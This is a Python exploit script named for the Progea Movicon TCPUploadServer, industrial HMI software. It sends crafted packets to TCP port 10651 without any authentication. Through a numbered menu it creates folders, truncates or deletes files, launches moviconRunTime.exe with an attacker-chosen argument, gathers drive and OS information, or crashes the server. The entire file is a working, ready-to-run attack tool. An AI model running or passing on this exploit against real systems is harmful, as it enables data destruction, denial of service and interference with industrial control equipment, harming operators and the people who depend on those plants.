#!/usr/bin/python
import sys
import socket
hdr="MovX"
funcs=(1,2,3,4,5,6,7,8) # "B" is listed as 8 only for convience. other functions include (the real) 8, 9, A, and V
if len(sys.argv)<3:
print "Progea Movicon TCPUploadServer Remote Exploit"
print "Usage: %s <target> <function> [data]"%sys.argv[0]
print "\nWhat would you like to do?\n"
print "[1] Create a folder"
print "[2] Overwrite a file with NULL and cause 100%% CPU"
print "[3] Delete a file"
print "[4] Execute moviconRunTime.exe with a specified argument"
print "[5] Create a desktop shortcut"
print "[6] Retrieve drive information"
print "[7] Retrieve os service pack"
print "[8] Crash the server\n"
print "* Default data is \"test\""
sys.exit(0)
target=sys.argv[1]
port=10651
cs=target,port
func=int(sys.argv[2])
if len(sys.argv)==4:
data=sys.argv[3]
else:
data="test"
if func not in funcs:
print "Invalid function"
sys.exit(1)
if(func==1):
print "Crafting a packet to create the folder \"%s\"…"%data
pkt=hdr+"1"+"B"+data+"\x00"*(66-len(data))
elif(func==2):
print "Crafting a packet to truncate (or create) the file \"%s\" to 0 bytes and cause 100%% CPU…"%data
pkt=hdr+"2"+"B"+data+"\x00"*(66-len(data))
# O_RDWR|O_CREAT|O_TRUNC, might be more to this, it's supposedly a copy function, but i'm moving on
elif(func==3):
print "Crafting a packet to delete the file \"%s\"…"%data
pkt=hdr+"3"+"B"+data+"\x00"*(66-len(data))
elif(func==4):
print "Crafting a packet to execute moviconRunTime.exe with the argument \"%s\"…"%data
pkt=hdr+"4"+"BB"+data+"\x00"*(65-len(data))
elif(func==5):
print "Crafting a packet to create a desktop shortcut with the name (also appended to the link path) \"%s\"…"%data
pkt=hdr+"5"+"B"+data+"\x00"*(66-len(data))
elif(func==6):
print "Crafting a packet to retrieve drive information…"
pkt=hdr+"6"+"\x01"
elif(func==7):
print "Crafting a packet to retrieve os service pack…"
pkt=hdr+"7"+"\x00"
elif(func==8):
print "Crafting a packet to crash the server…"
pkt=hdr+"B"+"\x00"
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(cs)
sock.send(pkt)
sock.send(pkt)
print "\nPacket sent!"
if((func==6)|(func==7)):
info=sock.recv(128)
if(info):
print "\nRetrieved info:\n"
if(func==6):
print "%s"%info[6:]
elif(func==7):
print "%s"%info[22:]
else:
print "\nNo info"
sock.close()